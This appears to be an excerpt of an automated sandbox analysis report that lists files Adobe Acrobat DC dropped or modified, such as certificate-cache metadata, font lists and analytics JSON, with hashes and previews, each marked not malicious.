Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7360682398396405
Encrypted:	false
SSDEEP:	3:kkFkls9zG+kN/ltfllXlE/HT8kojrXNNX8RolJuRdxLlGB9lQRYwpDdt:kK1IteT8vNMa8RdWBwRd
MD5:	508786A292F807440F6BB6278BFE3844
SHA1:	EC5E45D40713B7A0FE8D83CCE3F0A6CC75FA871B
SHA-256:	2147065240AB17530B18F52DD3C952AE0A1FEC8D4CF903FE9D38BEFEF7445DC9
SHA-512:	F2720EC977F0A93668E603F2C0A19748CBBF3E1A69B203A41728EFC5F65B99F41AC51E5038F735ECA4706CE34BCBD61F051DD539905951A3B863C97FAA36AE47
Malicious:	false
Preview:	p...... .........../.c..(....................................................... ..........W....M...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1391791584200512
Encrypted:	false
SSDEEP:	6:kKn4L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:f4iDnLNkPlE99SNxAhUe/3
MD5:	226862FE69AEF8E1B3348FFA9995F891
SHA1:	439361913D70360CDF14EF879E49720EE73475B2
SHA-256:	79548A2AF7D216C7C70824109D74416AC5587B98793915922CDBC1FBF04734B5
SHA-512:	74B1A87ED490DC4F206902DC2535E59E2B0F825105628A99DE55DC1F4B804FEE0D2BD69CFF213D32219BB6123384A056810C6F05DA29ADE2BC012191AE88291B
Malicious:	false
Preview:	p...... ..........VT.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2472

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2472

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.311648531782129
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyvS2Hb+FIbRI6XVW7+0Y2yoAvJM3g98kUwPeUkwRe9:YvXKXiHSYpW7fBGMbLUkee9
MD5:	4AE397C0077205FBA170B704D1B8FD5C
SHA1:	77F131CE2B488B3EBC2E31CFBC434EAE98549AD6
SHA-256:	08D788C78DCA7ECDD9837256239B86A3FB991DF3C3B05D7D1292387619F3D5CA
SHA-512:	484F5D24C21A9C1C835DD329FF809114801AD03C5ABD7CE013C17652F55B0797DE969A2D7204BF8E9D0DBA0E036FC2870C68B5B4F9027F5D2D2D2276C85731C9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"73adf554-f5fa-4002-ae7f-56019c9cde6b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740204642,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.247356216705476
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyvS2Hb+FIbRI6XVW7+0Y2yoAvJfBoTfXpnrPeUkwRe9:YvXKXiHSYpW7fBGWTfXcUkee9
MD5:	4D1D7C881F6EBE9CC2C31CF3E14AFCA5
SHA1:	35BA53A77CCF0F5BCA472FF0BC24FA1A795D4F4D
SHA-256:	1F1CAE81B932F2DBA25A79BB756BDE97DC4C6480B2C494C5CE3F1C2AD5266A59
SHA-512:	B66A8F160FC8868B3432BEA9851B3A3A0D7E5F8C4034A529CB84DF349245F36E41D40586154DE6A835B492084D7D70FD3F22DB53E5E8CECF7A511D9450AABCF5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"73adf554-f5fa-4002-ae7f-56019c9cde6b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740204642,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.22590453323148
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyvS2Hb+FIbRI6XVW7+0Y2yoAvJfBD2G6UpnrPeUkwRe9:YvXKXiHSYpW7fBGR22cUkee9
MD5:	3712F48F0DBE30A3F855C9046EC0B8B9
SHA1:	3163C70ECB0348A5B4E4E302D1C19F300759BD40
SHA-256:	EC221660DC6F28D82685B37F21179DC6A97C0C2ACD696D617AEA92935BF27711
SHA-512:	555C76CDE748E8E4D86FAAB654D5F3AE520D0F95F4C498D046C82F47934DAD3218FD0BF005C1780479551DC05BFEFC5ECC517CF97F7EDFFC2D725F422CC4404B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"73adf554-f5fa-4002-ae7f-56019c9cde6b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740204642,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.288726853136589
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyvS2Hb+FIbRI6XVW7+0Y2yoAvJfPmwrPeUkwRe9:YvXKXiHSYpW7fBGH56Ukee9
MD5:	608017EA7AB1AC060B4860D509C842DA
SHA1:	B38585EA359275876A1D6FD08CE1E1049C367433
SHA-256:	3E4B4AA20BF043F401489924DD814E5D0E6C4175214B7226BBF500929C4597B4
SHA-512:	97768683C2E4E56950E688B1A57AE04BEEDD298A3A9A8A241A45493B8035EE6D471CC9DABACEE39267FE462713556461B487E62A20A33C11796D34ABCB20EFF4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"73adf554-f5fa-4002-ae7f-56019c9cde6b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740204642,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6821284276366635
Encrypted:	false
SSDEEP:	24:Yv6XiXifmpLgE9cQx8LennAvzBvkn0RCmK8czOCCSQ:Yv3yehgy6SAFv5Ah8cv/Q
MD5:	E186C40AF48EB73EEBD8B358AEDEF728
SHA1:	65CCB982F9100D3E4FFF89218C6857BD62C4D9E0
SHA-256:	329B32B00396318468E8769ACD2CF50C8BFA9CD4F83585558D7DCE2BEA2370CF
SHA-512:	4F4F1E3AFC4EEA68B774FC992B175AEEE8DA6DAF9BC3EFFD8718289864350214B5D93EFD370E32FA79479CB7B90B6905CEFAB6E0344EE578F3C3C2D6363923E7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"73adf554-f5fa-4002-ae7f-56019c9cde6b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740204642,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.232848686083118
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyvS2Hb+FIbRI6XVW7+0Y2yoAvJf8dPeUkwRe9:YvXKXiHSYpW7fBGU8Ukee9
MD5:	DD0E0111DF1997ECC6876591A4355775
SHA1:	9273C0F3493F9AADFB8FF233B693068FB7152BD0
SHA-256:	E0EAC1D5C46BBD4188D46E3B2B9B775E648A590628138F3301A98AFC38AB35DE
SHA-512:	FAAE9591C846634C287E345E294AC08532A651FC1A634749714DA1E9A36A2D7ABDD78CF48B2A645C5A2CCD39FAC1F39D91BD8703284133A68895B38C9038F041
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"73adf554-f5fa-4002-ae7f-56019c9cde6b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740204642,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.234802795655835
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyvS2Hb+FIbRI6XVW7+0Y2yoAvJfQ1rPeUkwRe9:YvXKXiHSYpW7fBGY16Ukee9
MD5:	DD233435290AE00EF4E21601CDE5C5B8
SHA1:	6EC36BD0AE6D1D9A54796503951A7F3D473CF41C
SHA-256:	A831825D4DEF9C8FFD17EC414939B373A18FBF802BEEEC938405C1FA8DD458AA
SHA-512:	AC71C5129B1B9C7B88C28B7C17F467B49CF87932AD757CB70F00601258B184E556265C8BC80BD178B290C579BB014DBFB12603E92E2E6C4B9885F97C14FD7B0C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"73adf554-f5fa-4002-ae7f-56019c9cde6b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740204642,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.25336574527099
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyvS2Hb+FIbRI6XVW7+0Y2yoAvJfFldPeUkwRe9:YvXKXiHSYpW7fBGz8Ukee9
MD5:	DA9497BC30AD77E0B6ADC9386B970393
SHA1:	182E421A7E87AE9012F90F90B865DB830FF8299F
SHA-256:	2D1616132F06283BCEAA7FBF38D49135D8DE6DC7A54FB9CE538AEA846E914D8E
SHA-512:	9C4FD948361B184DC0D538244AA1F206BEF718B9F6B5000EE198815D320C7B173D0675A1E30B743782F303D37CE02ED51F9F39B4A2AD60B1010F7D17A740FC42
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"73adf554-f5fa-4002-ae7f-56019c9cde6b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740204642,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.261109076000897
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyvS2Hb+FIbRI6XVW7+0Y2yoAvJfzdPeUkwRe9:YvXKXiHSYpW7fBGb8Ukee9
MD5:	9E81815292C54849B58F85224B1A0886
SHA1:	6D93D51CB40AC754DC4A29EE24AE3EC45D9C5D5C
SHA-256:	074E9F35BF9435F525FE9FB116B07CF1CEE81FC61CB7B58418F1B36E5EA6FAE1
SHA-512:	BB604254FA5B4BBD2C1067B8AAEBECDBCE6FD4859FBC7097149DF5765160E5E3A49A298C235A5FB1092B440F95F340832E2BEB5D70785CF20ADBCF0676BDD1B5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"73adf554-f5fa-4002-ae7f-56019c9cde6b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740204642,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.240820859381001
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyvS2Hb+FIbRI6XVW7+0Y2yoAvJfYdPeUkwRe9:YvXKXiHSYpW7fBGg8Ukee9
MD5:	50C8890A769E2B5C2500AC32360BFA5B
SHA1:	D6D35126D1205403CB338F8606305ACBA8B536A4
SHA-256:	19A749103F4D6DD3E7CA7132CEE48033A389BE2ABC4D8EAE48073987A1951DD0
SHA-512:	4852079A60C4C527E88FF33F106726739E336F556CE066BB1119BC0DA712A067A1FADEADFB5F8030A48DBCBE19385BFB47EC30606684760DF2267C9F4EB42270
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"73adf554-f5fa-4002-ae7f-56019c9cde6b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740204642,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.226128336853011
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyvS2Hb+FIbRI6XVW7+0Y2yoAvJf+dPeUkwRe9:YvXKXiHSYpW7fBG28Ukee9
MD5:	C19D1247CC2711B5B11D63B1A810B89F
SHA1:	32C41C720379566A729123DE4A2CFCF787D47659
SHA-256:	45E51E72E67A35C0CE0C521DAC8DF3631E1748B424CB34FB4F12A3719C90F379
SHA-512:	94B67B7223696D479F9C8829BD5873E17DBC63D0E2EA600808CFA162BBBE738343869EF1D481CB82B7249CACEC4FD76EFD10C2E574CEDBD516DF503A89EAFA29
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"73adf554-f5fa-4002-ae7f-56019c9cde6b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736740204642,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.224774686543655
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyvS2Hb+FIbRI6XVW7+0Y2yoAvJfbPtdPeUkwRe9:YvXKXiHSYpW7fBGDV8Ukee9
MD5:	5F3A60562B3ED5E0A05ADACAAA16ED26
